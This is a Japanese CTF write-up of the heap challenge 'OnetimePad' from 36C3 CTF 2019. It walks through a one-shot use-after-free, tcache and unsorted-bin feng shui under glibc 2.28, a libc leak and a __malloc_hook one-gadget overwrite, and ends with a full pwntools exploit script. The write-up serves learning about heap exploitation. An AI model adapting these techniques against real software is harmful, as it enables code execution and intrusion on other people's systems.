newbieからバイナリアンへ

newbieからバイナリアンへ

昨日は海を見に行きました

【pwn 17.0】 OnetimePad - 36C3 CTF

keywords

UAF only once / heap feng shui / libc2.28

 

 

 

 

 

 

 1: イントロ

いつぞやの年末に行われたHXP主催の 36C3 CTF 2019

DEFCON Qualsらしい

本記事はpwnhardレベル問題 "Onetime Pad" のwriteupである

なお本問は heapパズル 問題である

 

f:id:smallkirby:20191230034124p:plain

 

すごくすごく眠いからあとで清書すること前提でメモ書きする

【追記:20191230】清書した




 

2: 表層解析

 

配布物

配布物は以下の3つ

 

・Dockerfile

Debian環境でlibcは2.28

ネイティブ環境と異なるlibcでのデバッグは3を参照

 

・onetimepad

問題のバイナリファイル

./onetimepad: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=fb5e2533e641b3debc2fac404e45cb053174361e, not stripped
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

 

 

・onetimepad.c

上のバイナリのCソースファイル 

 

 

問題バイナリはNSA(Non Specified Agency)が開発したメモ帳プログラム

一回読むと発火して読めなくなるそうです

pwn2winといい、設定が面白いのはいいですね



問題概要

メモ帳プログラムで以下の機能を持つ

write

メモ帳を生成する

メモ帳は.bssセクションのstruct onetimepad[8]で管理されており

インスタンスはメモの内容のbufへのポインタを持っている

重要なのは文字列の入力方法であり

readline()で一旦line bufに入力を受け付け

NULL終端した後にstrdup()して、コピーされた文字列へのポインタをonetimepadに保持する

詳しくは後述するが、この方法での入力によるexploit上の特徴は

・必ずNULL終端されるため1byte分非任意の書き込み(0x00)が生じる

・p64(addr1)+p64(addr2)のように途中にNULLを挟む入力はすることができない

 

read

"onetime"の名の由来となる部分
onetimepad[ix]の保持するbufを出力するが
出力の直後にこのbufがfree()される

 

また、onetimepadはメンバ変数に現在使用されているかどうかを示すis_inuseフラグをもっており

readを行いbufをfree()したあとにこのフラグをおろす

readはこのis_freeフラグが立っているものにしかおこなえない

 

rewrite

onetimepad[ix]のbufを書き換えることができる

これも入力の制約自体はwriteと同じである

.dataセクションの変数によってrewriteできるのは一度だけに制限されている

 

  

 

 

3: ネイティブ環境と異なるlibcでのデバッグ

本問のバイナリはlibc2.28で動く

LD_PRELOADでlibcを指定して動かそうとしたが上手くいかなかった

 

ものぐさなため途中まではネイティブ環境のlibc2.27で動かしてexploitを書いていたが

後述するように途中で不具合が生じたためちゃんと2.28を使うことにした

 

よって配布されたDockerfileでサーバを立ち上げてホストからgdbserverでアタッチしてデバッグしようとしたが

この方法では勿論 pwndbgのheapやbin等のコマンドが使えない

vanila gdbでpwnをしていた頃が懐かしいが今となってはこれらなしでやるのは非常に辛いため

Docker上にpwndbgを入れるようにした

 

自分は完全なるDocker素人のため環境構築はmoraさんにお願いした。。。

 

Dockerfile

# echo 'hxp{FLAG}' > flag.txt && docker build -t onetimepad . && docker run --cap-add=SYS_ADMIN --security-opt apparmor=unconfined -ti -p 31336:1024 onetimepad
FROM debian:buster
RUN useradd --create-home --shell /bin/bash ctf
WORKDIR /home/ctf
COPY ynetd /sbin/
COPY onetimepad flag.txt /home/ctf/
#  # Permission
#  7 rwx
#  6 rw-
#  5 r-x
#  4 r--
#  3 -wx
#  2 -w-
#  1 --x
#  0 ---
# sane defaults
RUN chmod 555 /home/ctf && \
    chown -R root:root /home/ctf && \
    chmod -R 000 /home/ctf/* && \
    chmod 500 /sbin/ynetd
# TODO: chmod all your files below!
RUN chmod 555 onetimepad && \
    chmod 444 flag.txt && \
    mv flag.txt flag_$(< /dev/urandom tr -dc a-zA-Z0-9 | head -c 24).txt
# check whitelist of writable files/folders
USER ctf
RUN (find --version && id --version && sed --version && grep --version) > /dev/null
RUN ! find / -writable -or -user $(id -un) -or -group $(id -Gn|sed -e 's/ / -or -group /g') 2> /dev/null | grep -Ev -m 1 '^(/dev/|/run/|/proc/|/sys/|/tmp|/var/tmp|/var/lock)'
USER root
RUN apt-get update && apt-get upgrade &&\
    apt-get -y install python2.7 python-pip python-dev git libssl-dev libffi-dev socat
##RUN pip install virtualenvwrapper &&\
#   export WORKON_HOME=$HOME/.virtualenvs &&\
#   export PROJECT_HOME=$HOME/Devel &&\
#   . /usr/local/bin/virtualenvwrapper.sh &&\
#   cd $HOMEDIR &&\
#   mkdir tools &&\
#   cd tools &&\
#   mkvirtualenv pwn &&\
RUN pip install --upgrade pwntools &&\
    #deactivate &&\
    git clone https://github.com/pwndbg/pwndbg &&\
    cd pwndbg &&\
    ./setup.sh
RUN apt-get install -y procps
# EXPOSE all your ports
EXPOSE 1024
# TODO: CMD your challenge
CMD ynetd -u ctf /home/ctf/onetimepad

 

build

sudo docker build . -t sugoiyatu

run

sudo docker run -p 3001:3001 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -it sugoiyatu /bin/bash

shell上で

socat TCP-L:3001,reuseaddr,fork EXEC:./onetimepad &

 

あとはいつも通り3001ポートに向けてexploitコードを回していい感じのところで止めて

docker上でpwndbgを使ってデバッグすれば良い




4: 方針

さて、問題バイナリに戻る

 

とっかかりの脆弱性

rewriteに自明なUAFがある

( rewrite時にis_inuseを確認しないため、readした==free()したchunkに書き込むことができる)

 

但しrewriteにかかる制限がそのままUAFの制約になる

すなわち

・この方法でのUAFは1回しかできない ・・・①

・途中でNULLを挟むと入力が終わる・・・②

・最後がNULL終端される・・・③

 

 

libcbaseのleakとlibc2.27/28のunsortedの制約の差異

このUAFを利用して、まずlibcbaseのleakを目指す

 

まずheapのベースアドレスは下3nibbleが0x000で固定である

この先頭にIO bufが0x250のサイズで取られる

その下にreadline()で使用するline bufがとられる

このline bufのサイズは倍々 or 2の冪乗でとられる

(ソース読んでないから実験からの推測だけど。。。)

 

途中でline bufのサイズが足りなくなってrealloc()することになるとめんどくさいため

最初にline bufのサイズをかなり大きな値にして固定したい

このために一番最初に0x620サイズをmalloc()しておく・・・chunkA

 

その下にchunkB (0x570), chunkC(0x30), chunkD(0x30)をmalloc()する

そのあとB,D,Cの順にread(free)する

ここまでのheapの状態が以下の感じ

 

 

次にrewriteのUAFを利用してtcache0x30に繋がっているchunkCのfdを書き換える

この際NULL終端が必ず生じること(UAF制約③)と、ヒープアドレスで既知なのは下3nibbleだけであるということから

ガチャなしでいくためには下1byteをNULL overwriteするしかない

よってCのfdの下1byteを0x00にしてtcacheのリンクをずらし、上にあるchunkBの下の方を指すようにしておく

この状態でtcache0x30からchunkE, chunkFmalloc()する

 

次にunsortedに繋がっているchunkBから適切なサイズのchunkG (0x4f0) をmalloc()で削り取ることで

chunkFに近いところに残りカスunsortedのfdを生成する

この時事前にずらしたtcacheのリンク先(chunkFのfdが指す先)にちょうどunsortedのfdがくるように削り取るサイズは調整すること

 

ここまでを図示すると以下のようになる



 

するとchunkFのユーザ領域の先頭にunsortedが来ているから

Fをreadすることでmain_arena+96がleakできる 

 

今回はunsortedから切り出した残りカスが0x80になるから

free()されたchunkFはtcache0x80につながれる

ここでunsortedのfdとchunkFのfdは重複してしまっている+現在tcache0x80にはchunkが繋がっていないため

この両者のfdはNULLに書き換えられてしまう

 

 

このまま次のchunkをunsortedから切り出すと以下の部分でひっかかる

https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#3754

 

自分は慣れない環境でのデバッグを嫌ってlibc2.27環境でデバッグしていたのだが

2.27では最後のunsortedのfdがarena+96を指していなくてもよかったが

2.28ではこの整合性チェックが行われるようになったっぽいのでひっかかってしまった

 

同じチームのメンバーに状況だけを伝えると

やってることを教えただけで「そりゃあやばい状況」と2.28では上手く行かないことを一瞬で指摘してきたので、すげえなぁと思うと同時に、こういうバージョンごとにできること・できないこともちゃんと把握できるようにしないとだめだなと思いました まる

 

 

 

malloc_hook overwrite

ここで躓いているとmoraさんが解決策をくれた

すなわち先にunsortedをfreeしてからもう一度確保することでごまかした

この部分を図示すると以下のようになる

 

 

 

 

これでlibcbaseがわかった状態で任意のアドレスにchunkを置いて書き込むことができる

だがそのためには0x80サイズのchunkを取る必要があるのだが

前述したUAFの制約②により途中でNULLを入れることができず

inj=p64(target addr), inj+="A"*(0x70-len(inj))

のような入力にするとp64()の時点で入力が打ち切られてしまう

 

ここでウンウン唸っていると

moraさんが一瞬で以下のbypassを思いついた

すなわち、chunkを__malloc_hookの丁度上に置くのではなく

__malloc_hook - (0x70-len(target addr))に書き込み

入力を"A"*(0x70-len(target addr)) + p64(target addr)にすることで

入力が打ち切られた時点で丁度書き込み終了とすることができるというものである

こういうのを言われなくても自分ですぐ思いつくようにしたい

 

 

ただこの方法だとhookの上にあるデータを破壊してしまう

onegadgetのconstraintを避けるためにfree_hookの方をoverwriteしようとしたところ

free_hookの方には上に書き換えちゃいけないポインタがあったらしく

lock関係のところで永久ループに入りとまってしまった

 

ただlibc2.28環境ではたまたま

malloc_hookなら上のデータは破壊してもよい+onegadgetの制約を満たしているという好条件だったため

普通にmalloc_hook overwriteでいけた

 

 

 

 

5: exploit

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./onetimepad"

onegadgets = [0x4484f,0x448a3,0xe5456]

#online
#st = 1.0

#local
st = 0.1

arena_off = 0x1bbca0
malloc_hook_off = 0x1bbc30
free_hook_off = 0x1BD8E8

rhp1 = {"host":"88.198.154.140","port":31336}
rhp2 = {'host':"localhost",'port':3001}
context(os='linux',arch='amd64')
binf = ELF(FILENAME)

def _write(conn,content):
  conn.recvuntil("> ")
  conn.sendline("w")
  sleep(st)
  conn.sendline(content)

def _read(conn,idx):
  conn.recvuntil("> ")
  conn.sendline("r")
  sleep(st)
  conn.sendline(str(idx))

def _rewrite(conn,idx,content):
  conn.recvuntil("> ")
  conn.sendline("e")
  sleep(st)
  conn.sendline(str(idx))
  sleep(st)
  conn.sendline(content)



def exploit(conn):
  _write(conn,"A"*0x610) #0:とりあえずline bufを大きく取るため
  _write(conn,"B"*0x560) #1:to generate arena+96
  _write(conn,"C"*0x20) #2
  _write(conn,"D"*0x20) #3
 
  _read(conn,1)
  _read(conn,3)
  _read(conn,2)
  print("[+]read three times")


  _rewrite(conn,2,"")
  _write(conn,"E"*0x20) #1
  _write(conn,"F"*0x20) #2

  _write(conn,"G"*0x4e0) #3

  _read(conn,3)
  _read(conn,2)
  arena96 = unpack(conn.recvline()[:-1].ljust(8,'\x00'))
  print("[+]main_arena + 96: "+hex(arena96))
  libc_base = arena96 - arena_off 
  print("[+]libc_base: "+hex(libc_base))
  malloc_hook = libc_base + malloc_hook_off
  print("[+]malloc_hook: "+hex(malloc_hook))
  free_hook = libc_base + free_hook_off
  print("[+]free_hook: "+hex(free_hook))
  print("[+]onegadgets[0]: "+hex(libc_base + onegadgets[0]))

  _write(conn,"G"*0x4e0) #2
  _write(conn,p64(malloc_hook - (0x70-0x6))) #3
  print("[+]stage1 OK")
  _write(conn,"A"*0x70)
  print("[+]stage2 OK")
  
  inj = "A"*(0x70-0x6)
  inj += p64(libc_base + onegadgets[2])
  _write(conn,inj)

  raw_input("enter to continue")
  _write(conn,"GO!!")

if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
    st = 1.0
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()





6結果

 

f:id:smallkirby:20191230034146p:plain



 

 

 

 

7: アウトロ

自分がCTFを始めた今年最後のCTF

hard問をとれたことは嬉しかったが

hard要素がどこにもなく、明らかにdiffculty estimateのミスだと思う

だがそれにしては時間がかかりすぎたため

単純なheapパズルならば瞬殺できるようにしておきたい

あとdockerの使い方とかはいい加減覚えなさい

 

それよりも、初めてTSGの人と地下でオンサイトで解けたのが楽しかったです

mora先輩とスマブラもできました

来年はCTFに睡眠を破壊されないようにしたいですね

 

 

一瞬誰かを見習って2020年のpwn問全部解くをやろうと思ったんですが

この調子だと睡眠時間が無くなりそうなので無理っぽいです

ただできる限りはwriteupを見てもいいので解きたいですね






よいお年を

 

 

続く






You can cite code or comments in my blog as you like basically.
The exceptions are when the code belongs to some other license. In that case, follow it. Also, you can't use them for evil purpose. Finally, I don't take any responsibility for using my code or comment.
If you find my blog useful, I'll appreciate if you leave comments.